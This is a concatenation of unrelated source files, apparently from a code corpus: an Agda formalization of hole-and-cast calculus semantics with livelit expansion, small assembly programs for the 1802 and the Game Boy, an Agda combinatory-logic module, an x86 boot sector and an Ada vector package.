VPair : ∀{d1 d2} → d1 val → d2 val → ⟨ d1 , d2 ⟩ val
-- boxed values
data _boxedval : (d : iexp) → Set where
BVVal : ∀{d} → d val → d boxedval
BVPair : ∀{d1 d2} → d1 boxedval → d2 boxedval → ⟨ d1 , d2 ⟩ boxedval
BVArrCast : ∀{ d τ1 τ2 τ3 τ4 } →
τ1 ==> τ2 ≠ τ3 ==> τ4 →
d boxedval →
d ⟨ (τ1 ==> τ2) ⇒ (τ3 ==> τ4) ⟩ boxedval
BVProdCast : ∀{ d τ1 τ2 τ3 τ4 } →
τ1 ⊗ τ2 ≠ τ3 ⊗ τ4 →
d boxedval →
d ⟨ (τ1 ⊗ τ2) ⇒ (τ3 ⊗ τ4) ⟩ boxedval
BVHoleCast : ∀{ τ d } → τ ground → d boxedval → d ⟨ τ ⇒ ⦇·⦈ ⟩ boxedval
mutual
-- indeterminate forms
data _indet : (d : iexp) → Set where
IEHole : ∀{u σ} → ⦇⦈⟨ u , σ ⟩ indet
INEHole : ∀{d u σ} → d final → ⦇⌜ d ⌟⦈⟨ u , σ ⟩ indet
IAp : ∀{d1 d2} → ((τ1 τ2 τ3 τ4 : typ) (d1' : iexp) →
d1 ≠ (d1' ⟨(τ1 ==> τ2) ⇒ (τ3 ==> τ4)⟩)) →
d1 indet →
d2 final →
(d1 ∘ d2) indet
IFst : ∀{d} →
d indet →
(∀{d1 d2} → d ≠ ⟨ d1 , d2 ⟩) →
(∀{d' τ1 τ2 τ3 τ4} → d ≠ (d' ⟨ τ1 ⊗ τ2 ⇒ τ3 ⊗ τ4 ⟩)) →
(fst d) indet
ISnd : ∀{d} →
d indet →
(∀{d1 d2} → d ≠ ⟨ d1 , d2 ⟩) →
(∀{d' τ1 τ2 τ3 τ4} → d ≠ (d' ⟨ τ1 ⊗ τ2 ⇒ τ3 ⊗ τ4 ⟩)) →
(snd d) indet
IPair1 : ∀{d1 d2} →
d1 indet →
d2 final →
⟨ d1 , d2 ⟩ indet
IPair2 : ∀{d1 d2} →
d1 final →
d2 indet →
⟨ d1 , d2 ⟩ indet
ICastArr : ∀{d τ1 τ2 τ3 τ4} →
τ1 ==> τ2 ≠ τ3 ==> τ4 →
d indet →
d ⟨ (τ1 ==> τ2) ⇒ (τ3 ==> τ4) ⟩ indet
ICastProd : ∀{d τ1 τ2 τ3 τ4} →
τ1 ⊗ τ2 ≠ τ3 ⊗ τ4 →
d indet →
d ⟨ (τ1 ⊗ τ2) ⇒ (τ3 ⊗ τ4) ⟩ indet
ICastGroundHole : ∀{ τ d } →
τ ground →
d indet →
d ⟨ τ ⇒ ⦇·⦈ ⟩ indet
ICastHoleGround : ∀ { d τ } →
((d' : iexp) (τ' : typ) → d ≠ (d' ⟨ τ' ⇒ ⦇·⦈ ⟩)) →
d indet →
τ ground →
d ⟨ ⦇·⦈ ⇒ τ ⟩ indet
IFailedCast : ∀{ d τ1 τ2 } →
d final →
τ1 ground →
τ2 ground →
τ1 ≠ τ2 →
d ⟨ τ1 ⇒⦇⦈⇏ τ2 ⟩ indet
-- final expressions
data _final : (d : iexp) → Set where
FBoxedVal : ∀{d} → d boxedval → d final
FIndet : ∀{d} → d indet → d final
-- contextual dynamics
-- evaluation contexts
data ectx : Set where
⊙ : ectx
_∘₁_ : ectx → iexp → ectx
_∘₂_ : iexp → ectx → ectx
⦇⌜_⌟⦈⟨_⟩ : ectx → (holename × env ) → ectx
fst·_ : ectx → ectx
snd·_ : ectx → ectx
⟨_,_⟩₁ : ectx → iexp → ectx
⟨_,_⟩₂ : iexp → ectx → ectx
_⟨_⇒_⟩ : ectx → typ → typ → ectx
_⟨_⇒⦇·⦈⇏_⟩ : ectx → typ → typ → ectx
-- note: this judgement is redundant: in the absence of the premises in
-- the red brackets, all syntactically well formed ectxs are valid. with
-- finality premises, that's not true, and that would propagate through
-- additions to the calculus. so we leave it here for clarity but note
-- that, as written, in any use case its either trival to prove or
-- provides no additional information
--ε is an evaluation context
data _evalctx : (ε : ectx) → Set where
ECDot : ⊙ evalctx
ECAp1 : ∀{d ε} →
ε evalctx →
(ε ∘₁ d) evalctx
ECAp2 : ∀{d ε} →
-- d final → -- red brackets
ε evalctx →
(d ∘₂ ε) evalctx
ECNEHole : ∀{ε u σ} →
ε evalctx →
⦇⌜ ε ⌟⦈⟨ u , σ ⟩ evalctx
ECFst : ∀{ε} →
(fst· ε) evalctx
ECSnd : ∀{ε} →
(snd· ε) evalctx
ECPair1 : ∀{d ε} →
ε evalctx →
⟨ ε , d ⟩₁ evalctx
ECPair2 : ∀{d ε} →
-- d final → -- red brackets
ε evalctx →
⟨ d , ε ⟩₂ evalctx
ECCast : ∀{ ε τ1 τ2} →
ε evalctx →
(ε ⟨ τ1 ⇒ τ2 ⟩) evalctx
ECFailedCast : ∀{ ε τ1 τ2 } →
ε evalctx →
ε ⟨ τ1 ⇒⦇·⦈⇏ τ2 ⟩ evalctx
-- d is the result of filling the hole in ε with d'
data _==_⟦_⟧ : (d : iexp) (ε : ectx) (d' : iexp) → Set where
FHOuter : ∀{d} → d == ⊙ ⟦ d ⟧
FHAp1 : ∀{d1 d1' d2 ε} →
d1 == ε ⟦ d1' ⟧ →
(d1 ∘ d2) == (ε ∘₁ d2) ⟦ d1' ⟧
FHAp2 : ∀{d1 d2 d2' ε} →
-- d1 final → -- red brackets
d2 == ε ⟦ d2' ⟧ →
(d1 ∘ d2) == (d1 ∘₂ ε) ⟦ d2' ⟧
FHNEHole : ∀{ d d' ε u σ} →
d == ε ⟦ d' ⟧ →
⦇⌜ d ⌟⦈⟨ (u , σ ) ⟩ == ⦇⌜ ε ⌟⦈⟨ (u , σ ) ⟩ ⟦ d' ⟧
FHFst : ∀{d d' ε} →
d == ε ⟦ d' ⟧ →
fst d == (fst· ε) ⟦ d' ⟧
FHSnd : ∀{d d' ε} →
d == ε ⟦ d' ⟧ →
snd d == (snd· ε) ⟦ d' ⟧
FHPair1 : ∀{d1 d1' d2 ε} →
d1 == ε ⟦ d1' ⟧ →
⟨ d1 , d2 ⟩ == ⟨ ε , d2 ⟩₁ ⟦ d1' ⟧
FHPair2 : ∀{d1 d2 d2' ε} →
d2 == ε ⟦ d2' ⟧ →
⟨ d1 , d2 ⟩ == ⟨ d1 , ε ⟩₂ ⟦ d2' ⟧
FHCast : ∀{ d d' ε τ1 τ2 } →
d == ε ⟦ d' ⟧ →
d ⟨ τ1 ⇒ τ2 ⟩ == ε ⟨ τ1 ⇒ τ2 ⟩ ⟦ d' ⟧
FHFailedCast : ∀{ d d' ε τ1 τ2} →
d == ε ⟦ d' ⟧ →
(d ⟨ τ1 ⇒⦇⦈⇏ τ2 ⟩) == (ε ⟨ τ1 ⇒⦇·⦈⇏ τ2 ⟩) ⟦ d' ⟧
-- matched ground types
data _▸gnd_ : typ → typ → Set where
MGArr : ∀{τ1 τ2} →
(τ1 ==> τ2) ≠ (⦇·⦈ ==> ⦇·⦈) →
(τ1 ==> τ2) ▸gnd (⦇·⦈ ==> ⦇·⦈)
MGProd : ∀{τ1 τ2} →
(τ1 ⊗ τ2) ≠ (⦇·⦈ ⊗ ⦇·⦈) →
(τ1 ⊗ τ2) ▸gnd (⦇·⦈ ⊗ ⦇·⦈)
-- instruction transition judgement
data _→>_ : (d d' : iexp) → Set where
ITLam : ∀{ x τ d1 d2 } →
-- d2 final → -- red brackets
((·λ x [ τ ] d1) ∘ d2) →> ([ d2 / x ] d1)
ITFst : ∀{d1 d2} →
-- d1 final → -- red brackets
-- d2 final → -- red brackets
fst ⟨ d1 , d2 ⟩ →> d1
ITSnd : ∀{d1 d2} →
-- d1 final → -- red brackets
-- d2 final → -- red brackets
snd ⟨ d1 , d2 ⟩ →> d2
ITCastID : ∀{d τ } →
-- d final → -- red brackets
(d ⟨ τ ⇒ τ ⟩) →> d
ITCastSucceed : ∀{d τ } →
-- d final → -- red brackets
τ ground →
(d ⟨ τ ⇒ ⦇·⦈ ⇒ τ ⟩) →> d
ITCastFail : ∀{ d τ1 τ2} →
-- d final → -- red brackets
τ1 ground →
τ2 ground →
τ1 ≠ τ2 →
(d ⟨ τ1 ⇒ ⦇·⦈ ⇒ τ2 ⟩) →> (d ⟨ τ1 ⇒⦇⦈⇏ τ2 ⟩)
ITApCast : ∀{d1 d2 τ1 τ2 τ1' τ2' } →
-- d1 final → -- red brackets
-- d2 final → -- red brackets
((d1 ⟨ (τ1 ==> τ2) ⇒ (τ1' ==> τ2')⟩) ∘ d2) →> ((d1 ∘ (d2 ⟨ τ1' ⇒ τ1 ⟩)) ⟨ τ2 ⇒ τ2' ⟩)
ITFstCast : ∀{d τ1 τ2 τ1' τ2' } →
-- d final → -- red brackets
fst (d ⟨ τ1 ⊗ τ2 ⇒ τ1' ⊗ τ2' ⟩) →> ((fst d) ⟨ τ1 ⇒ τ1' ⟩)
ITSndCast : ∀{d τ1 τ2 τ1' τ2' } →
-- d final → -- red brackets
snd (d ⟨ τ1 ⊗ τ2 ⇒ τ1' ⊗ τ2' ⟩) →> ((snd d) ⟨ τ2 ⇒ τ2' ⟩)
ITGround : ∀{ d τ τ'} →
-- d final → -- red brackets
τ ▸gnd τ' →
(d ⟨ τ ⇒ ⦇·⦈ ⟩) →> (d ⟨ τ ⇒ τ' ⇒ ⦇·⦈ ⟩)
ITExpand : ∀{d τ τ' } →
-- d final → -- red brackets
τ ▸gnd τ' →
(d ⟨ ⦇·⦈ ⇒ τ ⟩) →> (d ⟨ ⦇·⦈ ⇒ τ' ⇒ τ ⟩)
-- single step (in contextual evaluation sense)
data _↦_ : (d d' : iexp) → Set where
Step : ∀{ d d0 d' d0' ε} →
d == ε ⟦ d0 ⟧ →
d0 →> d0' →
d' == ε ⟦ d0' ⟧ →
d ↦ d'
-- reflexive transitive closure of single steps into multi steps
data _↦*_ : (d d' : iexp) → Set where
MSRefl : ∀{d} → d ↦* d
MSStep : ∀{d d' d''} →
d ↦ d' →
d' ↦* d'' →
d ↦* d''
-- freshness
mutual
-- ... with respect to a hole context
data envfresh : varname → env → Set where
EFId : ∀{x Γ} → x # Γ → envfresh x (Id Γ)
EFSubst : ∀{x d σ y} → fresh x d
→ envfresh x σ
→ x ≠ y
→ envfresh x (Subst d y σ)
-- ... for inernal expressions
data fresh : varname → iexp → Set where
FConst : ∀{x} → fresh x c
FVar : ∀{x y} → x ≠ y → fresh x (X y)
FLam : ∀{x y τ d} → x ≠ y → fresh x d → fresh x (·λ y [ τ ] d)
FHole : ∀{x u σ} → envfresh x σ → fresh x (⦇⦈⟨ u , σ ⟩)
FNEHole : ∀{x d u σ} → envfresh x σ → fresh x d → fresh x (⦇⌜ d ⌟⦈⟨ u , σ ⟩)
FAp : ∀{x d1 d2} → fresh x d1 → fresh x d2 → fresh x (d1 ∘ d2)
FCast : ∀{x d τ1 τ2} → fresh x d → fresh x (d ⟨ τ1 ⇒ τ2 ⟩)
FFailedCast : ∀{x d τ1 τ2} → fresh x d → fresh x (d ⟨ τ1 ⇒⦇⦈⇏ τ2 ⟩)
FFst : ∀{x d} → fresh x d → fresh x (fst d)
FSnd : ∀{x d} → fresh x d → fresh x (snd d)
FPair : ∀{x d1 d2} → fresh x d1 → fresh x d2 → fresh x ⟨ d1 , d2 ⟩
-- ... for external expressions
data freshe : varname → eexp → Set where
FRHConst : ∀{x} → freshe x c
FRHAsc : ∀{x e τ} → freshe x e → freshe x (e ·: τ)
FRHVar : ∀{x y} → x ≠ y → freshe x (X y)
FRHLam1 : ∀{x y e} → x ≠ y → freshe x e → freshe x (·λ y e)
FRHLam2 : ∀{x τ e y} → x ≠ y → freshe x e → freshe x (·λ y [ τ ] e)
FRHEHole : ∀{x u} → freshe x (⦇⦈[ u ])
FRHNEHole : ∀{x u e} → freshe x e → freshe x (⦇⌜ e ⌟⦈[ u ])
FRHAp : ∀{x e1 e2} → freshe x e1 → freshe x e2 → freshe x (e1 ∘ e2)
FRHFst : ∀{x e} → freshe x e → freshe x (fst e)
FRHSnd : ∀{x e} → freshe x e → freshe x (snd e)
FRHPair : ∀{x e1 e2} → freshe x e1 → freshe x e2 → freshe x ⟨ e1 , e2 ⟩
-- with respect to all bindings in a context
freshΓ : {A : Set} → (Γ : A ctx) → (e : eexp) → Set
freshΓ {A} Γ e = (x : varname) → dom Γ x → freshe x e
-- x is not used in a binding site in d
mutual
data unbound-in-σ : varname → env → Set where
UBσId : ∀{x Γ} → unbound-in-σ x (Id Γ)
UBσSubst : ∀{x d y σ} → unbound-in x d
→ unbound-in-σ x σ
→ x ≠ y
→ unbound-in-σ x (Subst d y σ)
data unbound-in : (x : varname) (d : iexp) → Set where
UBConst : ∀{x} → unbound-in x c
UBVar : ∀{x y} → unbound-in x (X y)
UBLam2 : ∀{x d y τ} → x ≠ y
→ unbound-in x d
→ unbound-in x (·λ_[_]_ y τ d)
UBHole : ∀{x u σ} → unbound-in-σ x σ
→ unbound-in x (⦇⦈⟨ u , σ ⟩)
UBNEHole : ∀{x u σ d }
→ unbound-in-σ x σ
→ unbound-in x d
→ unbound-in x (⦇⌜ d ⌟⦈⟨ u , σ ⟩)
UBAp : ∀{ x d1 d2 } →
unbound-in x d1 →
unbound-in x d2 →
unbound-in x (d1 ∘ d2)
UBCast : ∀{x d τ1 τ2} → unbound-in x d → unbound-in x (d ⟨ τ1 ⇒ τ2 ⟩)
UBFailedCast : ∀{x d τ1 τ2} → unbound-in x d → unbound-in x (d ⟨ τ1 ⇒⦇⦈⇏ τ2 ⟩)
UBFst : ∀{x d} → unbound-in x d → unbound-in x (fst d)
UBSnd : ∀{x d} → unbound-in x d → unbound-in x (snd d)
UBPair : ∀{x d1 d2} → unbound-in x d1 → unbound-in x d2 → unbound-in x ⟨ d1 , d2 ⟩
mutual
remove-from-free' : varname → eexp → List varname
remove-from-free' x e = remove-all natEQ (free-vars e) x
free-vars : (e : eexp) → List varname
free-vars c = []
free-vars (e ·: τ) = free-vars e
free-vars (X x) = x :: []
free-vars (·λ x e) = remove-from-free' x e
free-vars (·λ x [ τ ] e) = remove-from-free' x e
free-vars ⦇⦈[ u ] = []
free-vars ⦇⌜ e ⌟⦈[ u ] = free-vars e
free-vars (e₁ ∘ e₂) = free-vars e₁ ++ free-vars e₂
free-vars ⟨ x , x₁ ⟩ = free-vars x ++ free-vars x₁
free-vars (fst x) = free-vars x
free-vars (snd x) = free-vars x
mutual
data binders-disjoint-σ : env → iexp → Set where
BDσId : ∀{Γ d} → binders-disjoint-σ (Id Γ) d
BDσSubst : ∀{d1 d2 y σ} → binders-disjoint d1 d2
→ binders-disjoint-σ σ d2
→ binders-disjoint-σ (Subst d1 y σ) d2
-- two terms that do not share any binders
data binders-disjoint : (d1 : iexp) → (d2 : iexp) → Set where
BDConst : ∀{d} → binders-disjoint c d
BDVar : ∀{x d} → binders-disjoint (X x) d
BDLam : ∀{x τ d1 d2} → binders-disjoint d1 d2
→ unbound-in x d2
→ binders-disjoint (·λ_[_]_ x τ d1) d2
BDHole : ∀{u σ d2} → binders-disjoint-σ σ d2
→ binders-disjoint (⦇⦈⟨ u , σ ⟩) d2
BDNEHole : ∀{u σ d1 d2} → binders-disjoint-σ σ d2
→ binders-disjoint d1 d2
→ binders-disjoint (⦇⌜ d1 ⌟⦈⟨ u , σ ⟩) d2
BDAp : ∀{d1 d2 d3} → binders-disjoint d1 d3
→ binders-disjoint d2 d3
→ binders-disjoint (d1 ∘ d2) d3
BDCast : ∀{d1 d2 τ1 τ2} → binders-disjoint d1 d2 → binders-disjoint (d1 ⟨ τ1 ⇒ τ2 ⟩) d2
BDFailedCast : ∀{d1 d2 τ1 τ2} → binders-disjoint d1 d2 → binders-disjoint (d1 ⟨ τ1 ⇒⦇⦈⇏ τ2 ⟩) d2
BDFst : ∀{d1 d2} → binders-disjoint d1 d2 → binders-disjoint (fst d1) d2
BDSnd : ∀{d1 d2} → binders-disjoint d1 d2 → binders-disjoint (snd d1) d2
BDPair : ∀{d1 d2 d3} →
binders-disjoint d1 d3 →
binders-disjoint d2 d3 →
binders-disjoint ⟨ d1 , d2 ⟩ d3
mutual
-- each term has to be binders unique, and they have to be pairwise
-- disjoint with the collection of bound vars
data binders-unique-σ : env → Set where
BUσId : ∀{Γ} → binders-unique-σ (Id Γ)
BUσSubst : ∀{d y σ} → binders-unique d
→ binders-unique-σ σ
→ binders-disjoint-σ σ d
→ binders-unique-σ (Subst d y σ)
-- all the variable names in the term are unique
data binders-unique : iexp → Set where
BUHole : binders-unique c
BUVar : ∀{x} → binders-unique (X x)
BULam : {x : varname} {τ : typ} {d : iexp} → binders-unique d
→ unbound-in x d
→ binders-unique (·λ_[_]_ x τ d)
BUEHole : ∀{u σ} → binders-unique-σ σ
→ binders-unique (⦇⦈⟨ u , σ ⟩)
BUNEHole : ∀{u σ d} → binders-unique d
→ binders-unique-σ σ
→ binders-unique (⦇⌜ d ⌟⦈⟨ u , σ ⟩)
BUAp : ∀{d1 d2} → binders-unique d1
→ binders-unique d2
→ binders-disjoint d1 d2
→ binders-unique (d1 ∘ d2)
BUCast : ∀{d τ1 τ2} → binders-unique d
→ binders-unique (d ⟨ τ1 ⇒ τ2 ⟩)
BUFailedCast : ∀{d τ1 τ2} → binders-unique d
→ binders-unique (d ⟨ τ1 ⇒⦇⦈⇏ τ2 ⟩)
BUFst : ∀{d} →
binders-unique d →
binders-unique (fst d)
BUSnd : ∀{d} →
binders-unique d →
binders-unique (snd d)
BUPair : ∀{d1 d2} →
binders-unique d1 →
binders-unique d2 →
binders-disjoint d1 d2 →
binders-unique ⟨ d1 , d2 ⟩
_⇓_ : iexp → iexp → Set
d1 ⇓ d2 = (d1 ↦* d2 × d2 final)
-- this is the decoding function, so half the iso. this won't work long term
postulate
_↑_ : iexp → eexp → Set
_↓_ : eexp → iexp → Set
iso : Set
Exp : typ
-- naming conventions:
--
-- type contexts, tctx, are named Γ (because they always are)
-- hole contextst, ??, are named Δ
--
-- types, typ, are named τ
-- unexpanded expressions, uexp, are named ê (for "_e_xpression but also following the POPL17 notation)
-- expanded expressions, eexp, are named e (for "_e_xpression")
-- internal expressions, iexp, are named d (because they have a _d_ynamics)
-- splices are named ψ
-- function-like livelit context well-formedness
mutual
livelitctx = Σ[ Φ' ∈ livelitdef ctx ] (Φ' livelitctx')
data _livelitctx' : (Φ' : livelitdef ctx) → Set where
PhiWFEmpty : ∅ livelitctx'
PhiWFMac : ∀{a π} →
(Φ : livelitctx) →
a # π1 Φ →
(π1 Φ ,, (a , π)) livelitctx'
_₁ : (Φ : livelitctx) → livelitdef ctx
_₁ = π1
infixr 25 _₁
_,,_::_⦅given_⦆ : (Φ : livelitctx) →
(a : livelitname) →
livelitdef →
a # (Φ)₁ →
livelitctx
Φ ,, a :: π ⦅given #h ⦆ = ((Φ)₁ ,, (a , π) , PhiWFMac Φ #h)
-- livelit expansion
mutual
data _,_⊢_~~>_⇒_ : (Φ : livelitctx) →
(Γ : tctx) →
(ê : uexp) →
(e : eexp) →
(τ : typ) →
Set
where
SPEConst : ∀{Φ Γ} → Φ , Γ ⊢ c ~~> c ⇒ b
SPEAsc : ∀{Φ Γ ê e τ} →
Φ , Γ ⊢ ê ~~> e ⇐ τ →
Φ , Γ ⊢ (ê ·: τ) ~~> e ·: τ ⇒ τ
SPEVar : ∀{Φ Γ x τ} →
(x , τ) ∈ Γ →
Φ , Γ ⊢ (X x) ~~> (X x) ⇒ τ
SPELam : ∀{Φ Γ x e τ1 τ2 ê} →
x # Γ →
Φ , Γ ,, (x , τ1) ⊢ ê ~~> e ⇒ τ2 →
Φ , Γ ⊢ (·λ_[_]_ x τ1 ê) ~~> (·λ x [ τ1 ] e) ⇒ (τ1 ==> τ2)
SPEAp : ∀{Φ Γ ê1 ê2 τ1 τ2 τ e1 e2} →
Φ , Γ ⊢ ê1 ~~> e1 ⇒ τ1 →
τ1 ▸arr τ2 ==> τ →
Φ , Γ ⊢ ê2 ~~> e2 ⇐ τ2 →
holes-disjoint e1 e2 →
Φ , Γ ⊢ ê1 ∘ ê2 ~~> e1 ∘ e2 ⇒ τ
SPEHole : ∀{Φ Γ u} → Φ , Γ ⊢ ⦇⦈[ u ] ~~> ⦇⦈[ u ] ⇒ ⦇·⦈
SPNEHole : ∀{Φ Γ ê e τ u} →
hole-name-new e u →
Φ , Γ ⊢ ê ~~> e ⇒ τ →
Φ , Γ ⊢ ⦇⌜ ê ⌟⦈[ u ] ~~> ⦇⌜ e ⌟⦈[ u ] ⇒ ⦇·⦈
SPEFst : ∀{Φ Γ ê e τ τ1 τ2} →
Φ , Γ ⊢ ê ~~> e ⇒ τ →
τ ▸prod τ1 ⊗ τ2 →
Φ , Γ ⊢ fst ê ~~> fst e ⇒ τ1
SPESnd : ∀{Φ Γ ê e τ τ1 τ2} →
Φ , Γ ⊢ ê ~~> e ⇒ τ →
τ ▸prod τ1 ⊗ τ2 →
Φ , Γ ⊢ snd ê ~~> snd e ⇒ τ2
SPEPair : ∀{Φ Γ ê1 ê2 τ1 τ2 e1 e2} →
Φ , Γ ⊢ ê1 ~~> e1 ⇒ τ1 →
Φ , Γ ⊢ ê2 ~~> e2 ⇒ τ2 →
holes-disjoint e1 e2 →
Φ , Γ ⊢ ⟨ ê1 , ê2 ⟩ ~~> ⟨ e1 , e2 ⟩ ⇒ τ1 ⊗ τ2
SPEApLivelit : ∀{Φ Γ a dm π denc eexpanded τsplice psplice esplice u} →
holes-disjoint eexpanded esplice →
freshΓ Γ eexpanded →
(a , π) ∈ (Φ)₁ →
∅ , ∅ ⊢ dm :: (livelitdef.model-type π) →
((livelitdef.expand π) ∘ dm) ⇓ denc →
denc ↑ eexpanded →
Φ , Γ ⊢ psplice ~~> esplice ⇐ τsplice →
∅ ⊢ eexpanded <= τsplice ==> (livelitdef.expansion-type π) →
Φ , Γ ⊢ $ a ⟨ dm ⁏ (τsplice , psplice) :: [] ⟩[ u ] ~~> ((eexpanded ·: τsplice ==> livelitdef.expansion-type π) ∘ esplice) ⇒ livelitdef.expansion-type π
data _,_⊢_~~>_⇐_ : (Φ : livelitctx) →
(Γ : tctx) →
(ê : uexp) →
(e : eexp) →
(τ : typ) →
Set
where
APELam : ∀{Φ Γ x e τ τ1 τ2 ê} →
x # Γ →
τ ▸arr τ1 ==> τ2 →
Φ , Γ ,, (x , τ1) ⊢ ê ~~> e ⇐ τ2 →
Φ , Γ ⊢ (·λ x ê) ~~> (·λ x e) ⇐ τ
APESubsume : ∀{Φ Γ ê e τ τ'} →
Φ , Γ ⊢ ê ~~> e ⇒ τ' →
τ ~ τ' →
Φ , Γ ⊢ ê ~~> e ⇐ τ
|
src/asm/HelloWorld/HelloWorld.asm | fourstix/1802PixieVideoTTY | 1 | 80900 | <filename>src/asm/HelloWorld/HelloWorld.asm
; *******************************************************************************************
; HelloWorld - Write a message to the display using PutChar function
;
; Copyright (c) 2020 by <NAME>
;
; *******************************************************************************************
UseGraphics EQU "TRUE"
Resolution EQU "64x32" ; "64x32", "64x64" or "64x128"
BackBuffer EQU "OFF" ; 'OFF', 'COPY' or 'SWAP'
UseText EQU "TRUE"
UseTty EQU "TRUE"
INCLUDE "StdDefs.asm"
INCLUDE "Initialize.asm"
; =========================================================================================
; Main
; =========================================================================================
Start: CALL BeginTerminal
CALL VideoOn ; turn video on
MainLoop: CALL HelloWorld
CALL WaitForInput ; wait for input from the hex keyboard
BR MainLoop ; say Hello! again
;----------------------------------------------------------------------------------------
; =========================================================================================
; HelloWorld - write a Hello, World! message to the screen using PutChar
;
; Internals:
; RC.0 - Character to write to screen
; =========================================================================================
HelloWorld: LDI "H"
PLO RC
CALL PutChar
LDI "e"
PLO RC
CALL PutChar
LDI "l"
PLO RC
CALL PutChar
LDI "l"
PLO RC
CALL PutChar
LDI "o"
PLO RC
CALL PutChar
LDI ","
PLO RC
CALL PutChar
LDI " "
PLO RC
CALL PutChar
LDI "W"
PLO RC
CALL PutChar
LDI "o"
PLO RC
CALL PutChar
LDI "r"
PLO RC
CALL PutChar
LDI "l"
PLO RC
CALL PutChar
LDI "d"
PLO RC
CALL PutChar
LDI "!"
PLO RC
CALL PutChar
LDI " "
PLO RC
CALL PutChar
RETURN;
;-----------------------------------------------------------------------
|
CombinatoryLogic/Forest.agda | splintah/combinatory-logic | 1 | 10386 | module CombinatoryLogic.Forest where
open import Data.Product using (_,_)
open import Function using (_$_)
open import Mockingbird.Forest using (Forest)
open import CombinatoryLogic.Equality as Equality using (isEquivalence; cong)
open import CombinatoryLogic.Semantics as ⊢ using (_≈_)
open import CombinatoryLogic.Syntax as Syntax using (Combinator)
forest : Forest
forest = record
{ Bird = Combinator
; _≈_ = _≈_
; _∙_ = Syntax._∙_
; isForest = record
{ isEquivalence = isEquivalence
; cong = cong
}
}
open Forest forest
open import Mockingbird.Forest.Birds forest
open import Mockingbird.Forest.Extensionality forest
import Mockingbird.Problems.Chapter11 forest as Chapter₁₁
import Mockingbird.Problems.Chapter12 forest as Chapter₁₂
instance
hasWarbler : HasWarbler
hasWarbler = record
{ W = Syntax.W
; isWarbler = λ _ _ → ⊢.W
}
hasKestrel : HasKestrel
hasKestrel = record
{ K = Syntax.K
; isKestrel = λ _ _ → ⊢.K
}
hasBluebird : HasBluebird
hasBluebird = record
{ B = Syntax.B
; isBluebird = λ _ _ _ → ⊢.B
}
hasIdentity : HasIdentity
hasIdentity = record
{ I = Syntax.I
; isIdentity = λ _ → Equality.prop₉
}
hasMockingbird : HasMockingbird
hasMockingbird = Chapter₁₁.problem₁₄
hasLark : HasLark
hasLark = Chapter₁₂.problem₃
hasComposition : HasComposition
hasComposition = Chapter₁₁.problem₁
|
chapter04/boot.asm | 12Tall/os | 0 | 176693 | <gh_stars>0
%include "FAT12.inc"
org 07c00h
FAT12Header LABEL_START, "12tall ", "VolLabel_11"
LABEL_START:
mov ax, cs
mov ds, ax
mov es, ax
Call DispStr ; 调用显示字符串例程
jmp $ ; 无限循环
DispStr:
mov ax, BootMessage
mov bp, ax ; ES:BP = 串地址
mov cx, 16 ; CX = 串长度
mov ax, 01301h ; AH = 13, AL = 01h
mov bx, 000ch ; 页号为0(BH = 0) 黑底红字(BL = 0Ch,高亮)
mov dl, 0
int 10h ; int 10h
ret
BootMessage: db "Hello, OS world!",0
times 510-($-$$) db 0 ; 填充剩下的空间,使生成的二进制代码恰好为512字节
dw 0xaa55 ; 结束标志 |
src/firmware-tests/Platform/Lcd/PutCharacters/PutCharacterTest.asm | pete-restall/Cluck2Sesame-Prototype | 1 | 163483 | #include "Platform.inc"
#include "FarCalls.inc"
#include "Lcd.inc"
radix decimal
PutCharacterTest code
global testAct
testAct:
fcall putCharacter
return
end
|
misc/sram.asm | daid/rgbds-by-example | 11 | 14593 | <reponame>daid/rgbds-by-example<filename>misc/sram.asm
INCLUDE "hardware.inc"
SECTION "sram", SRAM
; Create a 1 byte variable
sByteVariable::
ds 1
; Create a 2 byte variable
sWordVariable::
ds 2
; Create a 16 byte buffer
sBuffer::
ds 16
.end::
SECTION "entry", ROM0[$100]
jp start
SECTION "cart_type", ROM0[$147]
db CART_ROM_MBC5_RAM_BAT
SECTION "cart_sram_size", ROM0[$149]
db CART_RAM_64K
SECTION "main", ROM0[$150]
start:
; Enable SRAM read/write access
ld a, CART_RAM_ENABLE
ld [$0000], a
; Store 100 in wByteVariable
ld a, 100
ld [sByteVariable], a
; Store 1000 in wWordVariable
ld a, HIGH(1000)
ld [sWordVariable+0], a
ld a, LOW(1000)
ld [sWordVariable+1], a
; Clear wBuffer
ld hl, sBuffer
xor a
ld c, sBuffer.end - sBuffer
clearBufferLoop:
ld [hl+], a
dec c
jr nz, clearBufferLoop
; Read wByteVariable into a
ld a, [sByteVariable]
ld b, a
; Read wWordVariable into de
ld hl, sWordVariable
ld d, [hl]
inc hl
ld e, [hl]
; Disable SRAM read/write access, this disables writing to it by mistake, as well as some power
ld a, CART_RAM_DISABLE
ld [$0000], a
; Check the sram to see the values written to memory
; See a = $64, which is 100 in hex
; See de = $03e8, which is 1000 in hex
haltLoop:
halt
jr haltLoop
|
Sources/Library/vectors_2d_n.ads | ForYouEyesOnly/Space-Convoy | 1 | 17544 | --
-- Jan & <NAME>, Australia, July 2011
--
with Vectors_xD_I; pragma Elaborate_All (Vectors_xD_I);
package Vectors_2D_N is
type xy_Coordinates is (x, y);
package Vectors_2Di is new Vectors_xD_I (Natural, xy_Coordinates);
subtype Vector_2D_N is Vectors_2Di.Vector_xD_I;
Zero_Vector_2D_N : constant Vector_2D_N := Vectors_2Di.Zero_Vector_xD;
function Image (V : Vector_2D_N) return String renames Vectors_2Di.Image;
function Norm (V : Vector_2D_N) return Vector_2D_N renames Vectors_2Di.Norm;
function "*" (Scalar : Float; V : Vector_2D_N) return Vector_2D_N renames Vectors_2Di."*";
function "*" (V : Vector_2D_N; Scalar : Float) return Vector_2D_N renames Vectors_2Di."*";
function "/" (V : Vector_2D_N; Scalar : Float) return Vector_2D_N renames Vectors_2Di."/";
function "*" (V_Left, V_Right : Vector_2D_N) return Float renames Vectors_2Di."*";
function Angle_Between (V_Left, V_Right : Vector_2D_N) return Float renames Vectors_2Di.Angle_Between;
function "+" (V_Left, V_Right : Vector_2D_N) return Vector_2D_N renames Vectors_2Di."+";
function "-" (V_Left, V_Right : Vector_2D_N) return Vector_2D_N renames Vectors_2Di."-";
function "abs" (V : Vector_2D_N) return Float renames Vectors_2Di."abs";
end Vectors_2D_N;
|
programs/oeis/236/A236182.asm | jmorken/loda | 1 | 246433 | ; A236182: Sum of the sixth powers of the first n primes.
